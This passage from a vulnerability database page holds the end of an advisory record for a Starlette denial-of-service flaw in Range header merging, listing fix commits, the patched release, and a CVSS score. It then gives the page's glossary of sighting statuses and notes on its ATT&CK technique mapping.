"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.